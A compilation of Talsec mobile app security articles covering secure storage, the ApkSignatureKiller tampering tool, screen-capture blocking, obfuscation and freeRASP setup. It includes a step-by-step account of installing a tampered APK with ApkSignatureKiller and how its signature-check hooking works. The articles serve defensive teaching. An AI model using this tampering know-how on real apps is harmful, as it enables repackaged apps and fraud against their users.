  • ⛔️ Cons: The package requires devs to handle encryption of the data on their own, as it stores data in plain text, making it vulnerable to unauthorized access if the device is compromised. We would suggest to avoid using AsyncStorage for sensitive information like passwords or authentication tokens.

Problems with Hardware-Backed Keystores

Although many devices offer hardware-backed keystores, there is a significant number that lacks it. Moreover, certain devices, particularly those running on Android, face challenges with hardware-backed keystores due to manufacturer-provided software. These implementations either fail to function properly or resort to software-backed alternatives. I suggest checking out the list of public resources related to Trusted Execution Environment (TEE). This resource compilation provides valuable information on reverse-engineering techniques and strategies for achieving trusted code execution on ARM devices.

Another important consideration is that although hardware-backed keystores may provide better protection against key extraction, they are still susceptible to runtime attacks, just like software-backed keystores. During runtime, attackers can still access encrypted data stored in the keystore using rooted devices, a repackaged or tampered app, or hooking frameworks.

Therefore, we have concluded that the most effective approach which will mitigate the risk of runtime attacks is a combination of secure storage with RASP-based solution.

Boosting Software-Backed Keystore with RASP

By integrating a software-backed keystore into the RASP (Runtime Application Self-Protection) solutions, we can address two critical aspects simultaneously:

  1. Reliability: The enhanced RASP solution will offer a dependable keystore mechanism that does not rely on secure hardware. This ensures the integrity and protection of cryptographic keys, even on devices that lack hardware-backed security features.

  2. Security: While the keystore itself remains vulnerable to threats like root access and runtime hooks, a closely integrated keystore within RASP can mitigate these risks. It can dynamically determine whether to store or retrieve data based on the current security state of the device.

Through the integration of a software-backed keystore, the enhanced RASP solution provides a comprehensive and reliable approach to data protection, overcoming limitations related to hardware availability and compromised devices.

That’s it!

We hope this summary helps you make an informed decision when considering a secure storage option for your React Native project. But also, we’d be happy to hear your opinion. Would you use a software-based secure storage SDK for React Native that utilizes a hardcoded obscured encryption key?

Please share your experiences, suggestions, and any other secure storage tips. Let’s discuss in the comments below! 👇

Happy coding.

written by Tomas Psota, developer at Talsec

https://talsec.app | [email protected]

ApkSignatureKiller: How It Works and How Talsec Protects Your Apps

In this article, we will explore how Android protects against app tampering, discussing not only how ApkSignatureKiller works, but also the mechanisms behind.

Introduction

Ever wondered how your Android phone can tell if that Instagram app you're about to install is the genuine application, or just a sneaky clone repackaged by a hacker with malicious intent? That's where APK signatures come in – they're the digital gatekeepers of the Android app world! Think of them as a high-tech, unforgeable seal of authenticity stamped on every app, verifying its true origin and guaranteeing the code hasn't been illicitly altered since the developer signed off on it. This critical verification happens every time you install or update an app, acting as an invisible shield that ensures the software you're running is legitimate and safe.

How does the Android signature verification work?

Android apk sign verification has mainly two steps:

1. Signing

When development is complete, the developer signs the app using a private key. This process generates a digital signature of the app's contents and embeds the developer's public key certificate within the APK file.

2. Verification

This process is performed by the Android OS on the device before the installation of an app.

  1. First, the Android package manager calculates a cryptographic hash of the APK's contents.

  2. Next, it extracts the developer's public key certificate from the APK and uses it to decrypt the digital signature. This decryption reveals the original hash of the app as calculated by the developer.

  3. Finally, the hash calculated on the device is compared to the developer's original hash . If they match, it confirms that the APK's contents have not been tampered with since it was signed.

To prevent anyone from bypassing this verification mechanism, Android utilizes several signature schemes. The primary difference between them is how they sign the application and store the resulting data inside the APK:

  • v1 (JAR Signing): This original scheme individually signed each file within the APK and stored the signature data inside the META-INF/ directory (e.g., MANIFEST.MF`, `CERT.SF ). This method was computationally slow and had a critical flaw: it did not verify the entire APK file. Sections like the ZIP metadata were left unsigned, creating an attack vector where malicious code could be injected into the APK without invalidating the signature.

  • v2 Scheme: Introduced in Android 7.0, this scheme verifies the entire APK file as a single blob. The signature is stored in a dedicated APK Signing Block, located just before the ZIP Central Directory . This approach is significantly faster and closes the vulnerabilities present in the v1 scheme. However, this scheme did not originally support signing key rotation, meaning a developer could not change their signing key without breaking updates for their app.

  • v3 Scheme: Introduced in Android 9.0, this scheme is very similar to v2 but adds support for signing key rotation . It includes an attribute in the APK Signing Block that holds a history of signing certificates. This allows developers to change their app's signing key while enabling the app to be verified using either the new or older keys, ensuring seamless updates.

  • v4 Scheme: This scheme was introduced to support streaming installs, allowing for parts of an app to be used before the entire APK is downloaded. For v4 signing, a Merkle hash tree of the APK's contents is calculated, and its root hash is stored in a separate file named .apk.idsig . This allows for the incremental verification of individual blocks of the file as they are streamed to the device.

Vulnerabilities related to Android Signatures

The methods employed by ApkSignatureKiller are the modern versions of critical vulnerabilities of Android signature verification process.

1. The famous Master-Key vulnerability: This critical vulnerability exploited a discrepancy in how Android handled ZIP archives . An attacker could include two files with the same name within an APK. The package installer would process one file when verifying the signature, while the Dalvik/ART runtime would execute the other, malicious file. This allowed an attacker to inject and execute arbitrary code within a validly signed application, effectively bypassing the v1 signature check.

2. The Janus vulnerability: This vulnerability specifically targeted the v1 signature scheme. An attacker could prepend a malicious DEX file to the beginning of a legitimate, signed APK file. Because the v1 signature verifier would check the integrity of the ZIP entries but ignore the header of the file, it would still validate the application as authentic. However, the Android runtime would see the malicious DEX file at the start and execute its code, effectively running a malicious payload while the app appeared legitimate. This is simlar to the methods used to bypass v1 signature scheme by the apkSignatureKiller application .

The ApkSignatureKiller

The infamous ApkSignatureKiller application actively bypasses Android's entire signature verification system. This capability is frequently exploited to tamper with critical applications, such as banking apps, which are then used on a device, creating a major security headache for developers who rely on signature checks to ensure app integrity.

Let us take an example of an Android app signed by v1 signature scheme named victimApp2 :

We can also check which signature schemes are verified inside a fully built apk using apksigner tool. This shows that the apk has been signed using the v1 signature scheme.

Now let's try to install the apk inside the Android emulator with < Android 7.0 to ensure that we are able to install apk with just v1 signature scheme. With v1 scheme enabled we are easily allowed to install the apk on the device.

Now let's try the same with the unsigned apk on the same device. This tells us that the apk is unsigned and cannot be verified. The device also denies to download the unsigned application.

Here enters the ApkSignatureKiller who changes everything. Now let's just hook and modify our signed installed application using the ApkSignatureKiller. For this we have to push our signed application into the directory that can be accessed by the ApkSignatureKiller app just like the external storage directory.

  • Let's open our evil app

  • Now just choose the signed app from the external directory and then press the Hook button.

  • Press Install and guess what we are able to install the app with the killed signature verification mechanism.

  • We can also verify if our new app has been actually modified or not.

This shows that an unsigned, tampered application can be installed on a device without being detected by Android's security mechanisms. It proves that by using this method, it's possible to alter an app, recompile it, and install it without a valid signature, leaving the app's contents completely vulnerable.

To keep this article straightforward and easy to understand, I have used a simple demo application and focused on bypassing only the v1 signature scheme. However, it is crucial to understand that modern versions of ApkSignatureKiller and similar tools, are capable of bypassing the much more secure signature schemes. This makes them some of the most dangerous tools in the hands of attackers today.

Working of ApkSignatureKiller

But some of you with inquisitive minds might wonder: How does this tool actually work? How is it able to bypass the signature verification on an Android device ? 🙁

To bypass the signature check, the tool doesn't just remove the signature; it employs a more deceptive technique. It injects its own malicious code into the target application by hooking the specific part of the Android framework responsible for verifying an app's integrity. This injected code then intercepts the verification process and falsely reports to the system that the APK is still securely signed, even though its original signature has been stripped and its contents have been altered.

  • These are the methods used by it to hook the application and remove its signature file.

  • It basically hooks the classes like PackageManager or ContextImpl that are generally used during reflection that helps in signature verification of the Android application.

  • Then it uses this above method to replace the application with new application that does not have any signature verification mechanism and will always be verified by the Android signature verifier no matter how much the apk is tampered.

  • It hooks the code that fetches the signature file for verification and instead modifies the method to return true or verified always.

Why is it so crucial ?

Think of your Android device as a car and its signature verification system as a sophisticated car alarm. As long as the alarm is active, a thief cannot steal the stereo without setting it off.

However, a tool like ApkSignatureKiller acts as a master key that doesn't just break the window but cleverly disables the entire alarm system. Once the alarm is off, the thief can freely open the doors, steal the stereo, or even swap out the engine parts without anyone knowing.

This is precisely why signature verification is so crucial for an Android app. Without it, anyone could tamper with an app's contents, recompile it, and distribute their own modified version . Imagine the consequences: someone could unlock Spotify Premium for free, use cheats in a game like Clash of Clans, or, far more dangerously, bypass security measures in banking applications to authorize fraudulent transactions.

ApkSignatureKiller threatens the very foundation of Android's application security model. Despite continuous efforts to harden the platform, this tool often succeeds in its malicious goals.

But luckily, as developers, we are not helpless. There are concrete steps we can take to safeguard our applications against such attacks:

How to prevent tampering attacks with Talsec RASP+? [2 Months Free Trial!]

Talsec's RASP+ (Runtime App Self-Protection) offers a multi-layered defense to shield mobile apps from tampering and malicious tools like ApkSignatureKiller. These tools are built to bypass Android's fundamental security measure: verifying an app's digital signature. By disabling this check, an attacker can modify a legitimate app, inject malicious code, and then repackage it.

RASP protects against that with:

  • Signature and Certificate Verification: Unlike system-level checks that can be intercepted or disabled, RASP operates within the application itself. It continuously validates the app’s signature and signing certificate hash, making tampering significantly more difficult.

  • Code and Resource Integrity Checks: RASP doesn’t stop at verifying signatures—it actively monitors the application’s code and resources. If the app has been decompiled, modified, or augmented with malicious code, RASP flags and responds to these unauthorized changes.

  • Real-time Threat Response: When RASP detects a threat, it triggers a callback function—giving developers full control over how their app responds. Once integrated, you can implement callbacks such as onRootDetected, onDebuggerDetected, onEmulatorDetected, and more. These powerful tools let you tailor defensive actions: show custom alerts, limit app functionality, or shut down the app entirely if the environment is compromised.

The onTamperDetected callback plays a crucial role in identifying and responding to signature verification issues within the application. This powerful layer of security is easy to integrate—any developer can add it in just minutes. With Runtime Application Self-Protection (RASP), strengthening your app's defenses has never been simpler.

Try it for free for 2 months and experience how effortlessly you can boost your app’s protection; check out https://talsec.app to request the trial.

written by Akshit Singh

How to Block Screenshots, Screen Recording, and Remote Access Tools in Android and iOS Apps

Tomáš Soukal provides an in-depth guide on how to block screenshots, screen recording, and remote access tools in Android, Flutter, React Native, and iOS apps.

"For Your Eyes Only" (1981) - classic James Bond movie

"For Your Eyes Only" Principle

Ever felt embarrassed after accidentally leaking your account balance, private messages, or personal photos and videos? As app developers, we’re often tasked with preventing such privacy breaches. Fortunately, implementing the right countermeasures is simpler than you think—and I’ll show you how.

For Your Eyes Only isn’t just a catchy phrase—it’s rooted in espionage history and made famous by the 1981 James Bond film. Originally used to label highly classified documents intended solely for authorized eyes, it perfectly captures the essence of protecting user data in mobile apps. When it comes to your users’ sensitive information, it truly should be for their eyes only.

Let’s explore a few common mobile app scenarios where you might want to enhance privacy and security:

  • Hide Everything: Protect highly sensitive content like health reports, password screens, account balances, recent transactions, and browsing history.

  • View, But Don’t Share: In galleries, stories, and dating apps, guard against unauthorized sharing by blocking screenshots and screen recording.

  • Leakage Awareness: Notify users if someone takes a screenshot of their stories, reels, or other ephemeral content.

  • Combat Social Engineering & Phishing: Block remote access tools like TeamViewer or AnyDesk to prevent attackers from stealing data or tricking users in phishing scams.

  • Penetration Testing Defense: Skilled testers often use remote access tools to demonstrate data leakage vulnerabilities—make this an impossible win by securing against RAT exploits. Check MASWE-0055 OWASP Mobile Security Standard requirement.

Category
Examples
Threat

Screenshot & Device built-in Screenshot and Recording apps

Default system apps on many devices

Global data leakage

Remote Desktop Control Apps

,

Social engineering, global data leakage

Chromecast / Miracast screen sharing apps

Local data leakage

Third Party Screenshot & Recording apps

,

Global data leakage

ADB Video Stream / Control

,

Local data leakage

ADB Screenshot

adb exec-out screencap -p > screen.png

Global data leakage

RASP Solution

At Talsec, we set out to solve this problem elegantly by introducing three simple methods to tackle it effectively. You will find them both in the freeRASP and RASP+ on all supported platforms (Android, Flutter, React Native, Capacitor, Cordova, iOS).

  1. blockScreenCapture

  2. onScreenshotDetected

  3. onScreenRecordingDetected

Blocking / Unblocking Screen Capture

Talsec provides comprehensive protection against all listed categories of screen capture apps, ensuring your app’s content remains secure. All previosly listed categories can be blocked, with the screen appearing black in screenshots, recordings, or casting.

To easily implement this protection, simply use the Talsec.blockScreenCapture(this, true) method within your application.

public class DemoApplication extends Application {

    @Override
    public void onCreate() {
        super.onCreate();

        // Talsec initialization code
        // ...

        // Register a callback to listen to activity lifecycle events
        registerActivityLifecycleCallbacks(new ActivityLifecycleCallbacks() {
            @Override
            public void onActivityCreated(@NonNull Activity activity, @Nullable Bundle bundle) {
                // Block (true) or unblock (false) screen capturing
                Talsec.blockScreenCapture(activity, true);
            }
            // ...
        });
    }
}

Result

The protected application will display as a blank (black) screen in screenshots, screen recordings, screen casting, or when accessed through remote access tools like TeamViewer.

Black screenshot of protected app

Screenshot Detection Integration

Screenshot Detection can be integrated by implementing onStart() and onStop() in the Activity class. Talsec is notified about the screenshot through Talsec.onScreenshotDetected(). This is returned to the application via the onScreenshotDetected() callback and processed further in the SDK.

Our RASP provides convenient callback method:

override fun onScreenshotDetected() {
    // your custom logic here
}

To integrate it you will need to integrate it into your Activity:

Screenshot Detection requires target Android SDK at least 34 (Android 14, API Level 34, Upside Down Cake).

[AndroidManifest.xml]
<uses-permission android:name="android.permission.DETECT_SCREEN_CAPTURE" />
[MainActivity.kt]
class MainActivity : ComponentActivity() {
    private lateinit var screenCaptureCallback: ScreenCaptureCallback

    override fun onCreate(savedInstanceState: Bundle?) { … }

    override fun onStart() {
        super.onStart()
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
            screenCaptureCallback = ScreenCaptureCallback {
                Talsec.onScreenshotDetected()
            }
            registerScreenCaptureCallback(mainExecutor, screenCaptureCallback)
        }
    }

    override fun onStop() {
        super.onStop()
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE && screenCaptureCallback != null) {
            unregisterScreenCaptureCallback(screenCaptureCallback)
        }
    }
}

Screen Recording Detection Integration

Screen Recording can be integrated by implementing onStart() and onStop() in the Activity class. Talsec is notified about the screenshot through Talsec.onScreenRecordingDetected(). This is returned to the application via the onScreenRecordingDetected() callback and processed further in the SDK.

Our RASP provides convenient callback method:

override fun onScreenRecordingDetected() {
    // your custom logic here
}

To integrate it you will need to integrate it into your Activity:

Screen Recording Detection requires target Android SDK at least 35 (Android 15, API Level 35, Vanilla Ice Cream).

[AndroidManifest.xml]
<uses-permission android:name="android.permission.DETECT_SCREEN_RECORDING" />
[MainActivity.kt]
import android.view.WindowManager.SCREEN_RECORDING_STATE_VISIBLE
import java.util.function.Consumer

class MainActivity : ComponentActivity() {
    private val screenRecordCallback = Consumer<Int> { state ->
        if (state == SCREEN_RECORDING_STATE_VISIBLE) {
            Talsec.onScreenRecordingDetected();
        }
    }

    override fun onCreate(savedInstanceState: Bundle?) { … }

    override fun onStart() {
        super.onStart()
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.VANILLA_ICE_CREAM) {
            val initialState =
                windowManager.addScreenRecordingCallback(mainExecutor, screenRecordCallback)
            screenRecordCallback.accept(initialState)
        }
    }

    override fun onStop() {
        super.onStop()
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.VANILLA_ICE_CREAM) {
            windowManager.removeScreenRecordingCallback(screenRecordCallback)
        }
    }
}

Free and Business Approaches to Prevent Screen Capture Threats

To effectively block all screen capture threats, both free and business approaches can be used depending on your security needs. For those seeking a cost-effective solution, and offer foundational protection. These tools can block basic screen capture threats while incorporating malware detection technologies to uncover Remote Access Tools (RATs) by searching for package names and risky permissions. This provides a robust initial layer of security without the need for a premium plan.

For businesses looking to implement more complex, customizable security solution RASP+ provides advanced features that go beyond simple threat detection. With built-in reactions, MalwareDetection, Overlay Detection, and Accessibility Services Misuse Detection, businesses can create a comprehensive defense strategy. Additionally, incidents such as screenshots and screen recording attempts are recorded in logging data, enabling thorough tracking.

written by Tomáš Soukal

Obfuscation of Mobile Apps

This article will delve into the concept of obfuscation, explore its different types, and articulate Talsec's philosophy on its application. We believe in a balanced and pragmatic approach, prioritizing the most developer experience, app performance, exploitability of attack techniques while minimizing potential drawbacks and considering cost efficiency, to ensure both security and the smooth business operation of your mobile applications.

Refer to the Glossary for the full article: https://docs.talsec.app/glossary/obfuscation

Understanding the Fundamentals of Obfuscation

The primary goal of mobile app obfuscation is to render the application's code more difficult for an attacker to understand after it has been decompiled. Think of it as scrambling the blueprint of your application, making it significantly harder for someone to decipher its structure, logic, and sensitive information. While obfuscation doesn't make your application completely impenetrable – a determined attacker with enough time and resources might eventually succeed – it drastically increases the effort and expertise required, often making the attack economically unviable.

It's crucial to understand that obfuscation primarily focuses on hindering static analysis – the examination, understanding or tampering of the application's code at build time. Runtime attacks, where malicious actors attempt to manipulate the application while it's running, require a different set of defenses, which is where RASP technologies like those offered by Talsec come into play.

Obfuscation and RASP are complementary security layers, working in tandem to provide comprehensive protection.

Deconstructing Obfuscation: Three Key Types

The concept of obfuscation can be broadly categorized into three distinct types, each targeting different aspects of the application's code:

A) Name Obfuscation for Classes, Methods, and Fields

This type of obfuscation focuses on renaming the classes, interfaces, methods, and fields within the application's code to meaningless and often short identifiers. Instead of descriptive names like UserManager, authenticateUser, or userPassword, these elements might be renamed to something like a, b, or c.

Key Concepts

  • Renaming: The core mechanism involves replacing meaningful names with arbitrary strings.

  • Reduced Readability: This significantly hinders an attacker's ability to understand the purpose and functionality of different code components simply by examining their names. It breaks the semantic link between the code and its intended behavior.

  • Limited Complexity: Name obfuscation is generally the least complex type of obfuscation to implement and has minimal impact on the application's performance or stability.

  • Generic Applicability: This technique is indispensable and straightforward, as it is a complimentary compiler feature that yields a significant security advantage.

Example

Consider a class responsible for handling user sessions:

Copy

public class UserSessionManager {
    private String loggedInUsername;
    private boolean isLoggedIn;

    public boolean authenticateUser(String username, String password) {
        // Authentication logic
    }

    public String getLoggedInUsername() {
        return loggedInUsername;
    }
}

After class name obfuscation, this might become:

Copy

public class a {
    private String b;
    private boolean c;

    public boolean d(String e, String f) {
        // Authentication logic
    }

    public String g() {
        return b;
    }
}

While the underlying logic remains the same, the renamed elements provide no clues to an attacker about the class's purpose or the functionality of its methods and fields.

Talsec offers a feature to ensure that this basic obfuscation technique is applied and trigger the security threat control if this was skipped at build time.

B) String Obfuscation

String obfuscation focuses on concealing string literals embedded within the application's code. These strings can often reveal sensitive information, such as API keys, Certificates, URLs, error messages, or even business logic. By obfuscating these strings, you prevent attackers from easily extracting valuable insights or identifying critical parts of your application.

Key Concepts

  • Encoding and Encryption: String obfuscation typically involves encoding or encrypting the string literals within the application.

  • Runtime Decoding/Decryption: The original strings are reconstructed at runtime, only when they are actually needed by the application.

  • Increased Analysis Difficulty: Attackers cannot simply search for specific keywords within the decompiled code to uncover sensitive information. They need to understand the obfuscation algorithm and potentially reverse-engineer the decoding/decryption process.

Example

Consider the following code snippet containing an API key:

Copy

String apiKey = "YOUR_SUPER_SECRET_API_KEY";
String apiUrl = "https://api.example.com/data";
After string obfuscation, this might look like:
Java
String apiKey = new String(Base64.getDecoder().decode("WU9VX1NVUEVSX1NFQ1JFVF9BUElfS0VZ"));
String apiUrl = new String(Base64.getDecoder().decode("aHR0cHM6Ly9hcGkuZXhhbXBsZS5jb20vZGF0YQ=="));

An attacker examining the decompiled code would see seemingly random strings, requiring them to identify and reverse the Base64 decoding to uncover the actual API key and URL. More sophisticated techniques involving encryption would further complicate this process. Talsec provides a Secure Vault feature to address this need with high level data protection.

C) Control-Flow Obfuscation

Control-flow obfuscation aims to make the application's control flow – the order in which instructions are executed – more complex and difficult to follow. This is achieved by introducing artificial complexity, such as:

Key Concepts

  • Opaque Predicates: Inserting conditional statements whose outcome is always known at runtime but is difficult for an attacker to determine statically. This creates "dead code" paths that complicate analysis.

  • Bogus Code Insertion: Injecting code that has no functional impact on the application's behavior but serves to confuse and mislead attackers.

  • Branching and Jumps: Replacing straightforward sequential execution with a web of conditional and unconditional jumps, making it harder to trace the logical flow.

  • Exception Handling Abuse: Using exception handling mechanisms in non-standard ways to alter the control flow.

  • State Machine Transformation: Converting linear code sections into complex state machines, obscuring the original logic.

Control-flow obfuscation might transform this into a more convoluted structure involving opaque predicates and unnecessary jumps, making it harder to understand the simple conditional logic.

Warning: Code Packing and Encryption are Unsuitable for Modern Apps

Code packing and app binary encryption were once popular for protecting app binaries from reverse engineering, typically compressing executables with a runtime unpacking routine.

Today, these techniques are no longer commonly used and may be restricted by app stores. Apple requires disclosures for encryption use, while Google Play flags suspicious packing via Play Protect.

Their decline is largely due to widespread misuse by malware and incompatibility with modern app distribution policies.

Talsec's Perspective: A Pragmatic Approach to Obfuscation

At Talsec, we firmly believe that a layered security approach is the most effective way to protect mobile applications. Obfuscation is a crucial component of this strategy, acting as a vital deterrent against static analysis. However, we also recognize the trade-offs associated with different obfuscation techniques.

Our Stance on Obfuscation Types

  • Class Name Obfuscation and String Obfuscation: Must-Haves for Sensitive Apps: We consider both class name and string obfuscation as essential baseline security measures for any application handling sensitive data or implementing critical business logic. The relatively low overhead and significant increase in analysis difficulty make them highly valuable in hindering casual attackers and raising the cost for more sophisticated ones. Implementing these techniques should be a standard practice in your mobile app development lifecycle.

  • Control-Flow Obfuscation: Reserved for Algorithm Protection: While control-flow obfuscation can offer a higher degree of protection against reverse engineering of specific algorithms, we believe its application should be carefully considered and generally reserved for scenarios where the application's core algorithm itself is a significant intellectual property asset.

The Challenges of Control-Flow Obfuscation

We acknowledge that control-flow obfuscation can introduce several complexities and potential issues:

  • Increased Integration Complexity: Integrating and configuring control-flow obfuscation tools can be more challenging compared to class and string obfuscation.

  • Potential for Non-Deterministic Bugs: The transformations applied by control-flow obfuscation can sometimes introduce subtle and hard-to-debug issues that may not manifest consistently.

  • Performance Impact: The added complexity in the control flow can potentially lead to performance overhead, impacting the application's responsiveness and battery consumption.

  • App Store Review Issues: Aggressive control-flow obfuscation techniques can sometimes be flagged by app store review processes due to the significant code modifications they introduce.

Our Recommendation for Algorithm Protection

If your application's core algorithm is a critical asset that requires a higher level of protection than class and string obfuscation can provide, we recommend a more targeted approach:

  • Isolate Sensitive Code: Move the algorithm's implementation to code written in a lower-level language like C or C++.

  • Separate Obfuscation: Apply robust obfuscation techniques specifically designed for C/C++ code to this isolated module.

  • Minimize Impact: By isolating the sensitive code, you limit the potential negative impacts of complex obfuscation on the main application codebase, reducing integration challenges, performance concerns, and the risk of introducing widespread bugs.

Talsec's Commitment to Comprehensive Security

While Talsec doesn't directly provide control-flow obfuscation for the main application code due to the aforementioned complexities, we are committed to offering our partners a holistic security solution.

We can recommend and facilitate integration with reliable third-party tools that specialize in obfuscation enabling you to effectively protect your most critical algorithms without compromising the stability and maintainability of your primary application code.

Conclusion

Obfuscation is an indispensable tool in the mobile app security arsenal. By making your application's code significantly harder to understand, you deter attackers and protect your intellectual property and sensitive data.

Talsec advocates for a pragmatic approach, emphasizing the crucial role of class name and string obfuscation as fundamental security layers for all sensitive applications. While acknowledging the potential benefits of control-flow obfuscation for specific algorithm protection, we recommend a targeted strategy involving isolating sensitive code in C/C++ and applying specialized obfuscation tools to minimize risks and ensure a robust and stable application.

At Talsec, we are dedicated to providing you with the tools and knowledge necessary to build secure and resilient mobile applications. By understanding the nuances of obfuscation and adopting a layered security products RASP, App Hardening, Malware Detection, AppiCrypt and carefully chosen obfuscation techniques, you can significantly enhance your application's defenses against the ever-evolving threat landscape.

Build secure apps in React Native

It is predicted that there will be whopping . With great power comes great responsibility, and every experienced software developer should thrive to follow security standards to ensure that their app is secured against cyber criminals. Technologies like RASP (Runtime Application Self-Protection) are made to shield your app against attacks that occur in the runtime. In this article, we’ll show you a RASP-based security library for your React Native app which can detect a wide range of potential attacks and vulnerabilities.

But it is unlikely that someone is going to mess with my app…

Well, statistically yes. But reality is quite different. When your app is republished or the data of your users are compromised, it’s too late to think about security. Your reputation is now weakened. You are that ‘one in a million’ person that was unfortunate enough. However, if you found this article, then you most likely want to find out how to make your app more secure. And this is a great starting point!

Just to give you an example, one of the most common security risks is reverse engineering. React Native apps are shipped as APK, AAB, or IPA files with the JavaScript code that is bundled with the application. This code can be, with a small effort of a person that knows what he is doing, easily extracted. Although the code is minified, there are utilities like that make it possible to unminify them and reveal your sensitive keys or API calls.

With a hybrid platform like React Native, the development of your application may cost less resources and time. That’s great! Unfortunately, you still have to solve platform-specific problems and focus on security on both iOS and Android. In addition to that, hybrid platforms may introduce new security flaws with adding more complexity to how your app is executed. And you don’t want to ignore them. If you want to keep your app safe, you can follow industry standards, such as .

Our contribution to React Native community

When we started to think about extending our support to React Native at Talsec, we already had with protection for native Android and iOS apps, as well as other frameworks like Cordova and Flutter. The only challenging part was to understand how to create the bridge between native code and JavaScript, which would expose the freeRASP to the consumer, so you don’t have to spend your time messing around with native modules, testing and verification. We did all of this for you and are proud to introduce .

What is freeRASP?

freeRASP is a mobile in-app protection and security monitoring plugin. It aims to cover the main aspects of RASP (Runtime App Self Protection) and application shielding, enabling the app to defend itself against threats. It allows mobile applications to check the security state of the environment they run within, actively counteract attack attempts, and control the integrity of the app.

From the developer’s point of view, freeRASP serves as an extra protection layer that helps you to handle certain attack vectors with ease, while you can aim your focus on other areas. You are also protecting the users of your app as freeRASP is able to detect and take actions if the app is being executed on a rooted or jailbroken device, whether the app is tampered, etc.

freeRASP is designed to combat many significant attack vectors, thus creating an obstacle that prevents your app from intrusion. This gives you a real advantage against other apps which do not protect themselves in any way.

So far so good, but how do I use it?

It’s quite simple, actually. Just follow the 4-step tutorial below. .

Step 1: Install the package

You can add freeRASP the same way as you would with any other package. The plugin is installed via your favorite package manager. With yarn, for example, you can do it like this:

Furthermore, for Android apps you need to modify android/build.gradle to add our maven repository containing freeRASP. iOS requires Pods to run our plugin. Find out more .

Step 2: Configure the freeRASP

This is a place where you set up required fields (package name, signing certificate hashes, bundleId, teamId), which will help freeRASP to detect threats correctly. Don’t forget to add also your email address so you don’t miss your regular security report (more on that later). The configuration might look like this:

Step 3: Set up threat reactions

After a threat is detected, freeRASP fires an event that is consumed by your app. With freeRASP, it’s the developer’s responsibility to configure what should happen after such event is registered. You can for example kill the application, notify the user that a threat has been detected or just ignore the threat. It’s all in your hands. Just create an object that has threat name as a key and function as a value, like it is shown in the example below:

Step 4: Start the freeRASP

Good, all setup is done! The last missing part is to start looking for threats. We provide a custom hook that handles all required logic for you, as is registering and unregistering of the listeners. The hook is a part of the freeRASP package and needs to be imported:

Now pass your config and threat reactions to the imported hook:

The hook will now initialize freeRASP with your configuration and start to look for threats. That’s it!

Additional information

There are the dev and release versions of the library. The dev version should be used only during the development process of the application as it disables some of the checks (e.g. if you would implement killing of the application on the debugger callback). In other cases, you always want to use the release version. On Android, it is handled automatically, whereas, on iOS, the step is a matter of adding a pre-built script into the run phases and embedding a symlink to the correct framework. Do not worry, it is quite easy ;)

freeRASP is available to everyone, free of charge. However, it uses a bridge between JavaScript and native code, which is essentially an additional place that could be exploited. We are able to remove this redundant communication while still keeping your app safe. You can read more in the Enterprise Services section down below.

Example of a security report

This example presents a report of a mid-sized FinTech app:

Summary

The demand for secured apps nowadays is already high and will only increase in the future. Therefore developers should thrive for secure solutions. freeRASP is a tool that can help you to achieve this task. With all its security checks, it can be your good friend and keep you out of trouble. freeRASP is a powerful tool that gives you freedom of choice in how you set up the reactions to detected incidents. What’s more, it is available as a package, which makes the integration pretty straightforward. Don’t forget, freeRASP is available free of charge, why don’t you try it then?

written by Tomas Psota, developer at Talsec

| | Read also |

$ yarn add freerasp-react-native

// app configuration
const config = {
  androidConfig: {
    packageName: 'com.awesomeproject',
    certificateHashes: ['your_signing_certificate_hash_base64'],
  },
  iosConfig: {
    appBundleId: 'com.awesomeproject',
    appTeamId: 'your_team_ID',
  },
  watcherMail: '[email protected]',
};

// reactions to detected threats
const actions = {
  // Android & iOS
  'privilegedAccess': () => {
    console.log('privilegedAccess');
  },
  // Android & iOS
  'debug': () => {
    console.log('debug');
  },
  // Android & iOS
  'simulator': () => {
    console.log('simulator');
  },
  // Android & iOS
  'appIntegrity': () => {
    console.log('appIntegrity');
  },
  // Android & iOS
  'unofficialStore': () => {
    console.log('unofficialStore');
  },
  // Android & iOS
  'hooks': () => {
    console.log('hooks');
  },
  // Android & iOS
  'device binding': () => {
    console.log('device binding');
  },
  // iOS only
  'deviceID': () => {
    console.log('deviceID');
  },
  // iOS only
  'missingSecureEnclave': () => {
    console.log('missingSecureEnclave');
  },
  // iOS only
  'passcodeChange': () => {
    console.log('passcodeChange');
  },
  // iOS only
  'passcode': () => {
    console.log('passcode');
  },
};
import { useFreeRasp } from 'freerasp-react-native';
useFreeRasp(config, actions);
7.49 billion mobile phone users worldwide by 2025
JSTool
OWASP MASVS (Mobile Application Security Verification Standard)
long-lasting experience
freeRASP for React Native
You can also find a detailed step-by-step guide in our GitHub repository, check it out if you want to learn more
here
https://talsec.app
[email protected]
5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s
Mobile API Anti-abuse Protection: AppiCrypt® Is a New SafetyNet and DeviceCheck Attestation Alternative
freeRASP — Community-driven In-App Protection and User Safety Suite by Talsec
Yeah, for sure..
Talsec adds another supported platform for freeRASP
Some well-known attack vectors freeRASP can help you with

Sergiy Yakymchuk, Talsec CEO

Cover

Tomáš Soukal is a Senior Mobile Security Developer, OWASP MAS contributor, and Product Owner of Talsec RASP, specializing in app hardening and mobile security. When he's not crafting secure code, you can find him owning the dance floor as an avid dancer. LinkedIn

TeamViewer
AnyDesk
Screen Mirroring - Miracast
AZ Screen Recorder
Loom
Vysor
scrcpy
Cover

Introducing Talsec’s advanced malware protection!

At Talsec, we believe apps should have the option to detect risky environments, including suspicious malware, to ensure no sensitive information is leaked. Let us introduce our advanced in-app malware protection!

https://docs.talsec.app/freemalwaredetection

Active protection against:

  • Known malware

  • Ongoing malware campaigns

  • Counterfeit app clones

  • Tapjacking

  • Accessibility Screen readers

  • Other potentially risky apps

Malware detection capabilities include:

  • Scanning the device for blocklisted apps

  • Identifying apps installed from untrusted app stores

  • Detecting side-loaded apps from unverified sources

  • Apps requiring risky permissions

Reporting and logging:

  • Any unwanted findings are reported back to the app

  • All findings are logged for further analysis and tracking

https://docs.talsec.app/freemalwaredetection

Written by Tomáš Soukal — Security Consultant

Flutter Security 101: Restricting Installs to Protect Your App from Unofficial Sources

Introduction

